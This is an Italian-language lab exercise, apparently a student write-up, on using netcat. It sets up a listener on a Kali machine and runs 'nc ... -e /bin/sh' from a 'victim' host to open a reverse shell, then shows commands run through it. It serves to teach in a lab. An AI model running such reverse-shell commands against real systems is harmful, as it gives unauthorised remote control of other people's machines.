

NELL'ESERCIZIO DI OGGI VEDREMO COME UTILIZZARE IL COMANDO NETCAT PER IDENTIFICARE EVENTUALI PORTE TCP E UDP APERTE E CONNETTERCI AD ESSE TRAMITE SHELL.

- Nel primo procedimento creiamo un server in ascolto sulla macchina kali-linux specificando che siamo in ascolto sulla porta 1234

```
File Actions Edit View Help
whoami
ls
(uchiha@kali)-[~]
$ nc -l -p 1234
```

- Nel secondo procedimento ci spostiamo sulla macchina vittima inserendo l'indirizzo ip del server e specificare che vogliamo aprire una shell sul server kali linux.

```
kali@kali: ~
File Actions Edit View Help
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)-[~]
$ ping 192.168.30.120
PING 192.168.30.120 (192.168.30.120) 56(84) bytes of data:
64 bytes from 192.168.30.120: icmp_seq=1 ttl=64 time=0.449 ms
64 bytes from 192.168.30.120: icmp_seq=2 ttl=64 time=0.537 ms
64 bytes from 192.168.30.120: icmp_seq=3 ttl=64 time=1.55 ms
^C
--- 192.168.30.120 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.449/0.860/1.545/0.487 ms

(kali@kali)-[~]
$ nc 192.168.30.120 1234 /e /bin/sh
whoami
ls
^C

(kali@kali)-[~]
$ nc 192.168.30.120 1234 -e /bin/sh
```

- Una volta creata la connessione con il server, possiamo eseguire alcuni comandi sulla macchina attaccante : whoami ; uname -e ; ps

```
$ nc -l -p 1234
whoami
kali
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
uname -a
Linux kali 6.6.9-1kali1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
ps
  PID TTY          TIME CMD
  1500 pts/0    00:00:03 zsh
  11426 pts/0    00:00:00 sh
  12168 pts/0    00:00:00 ps
```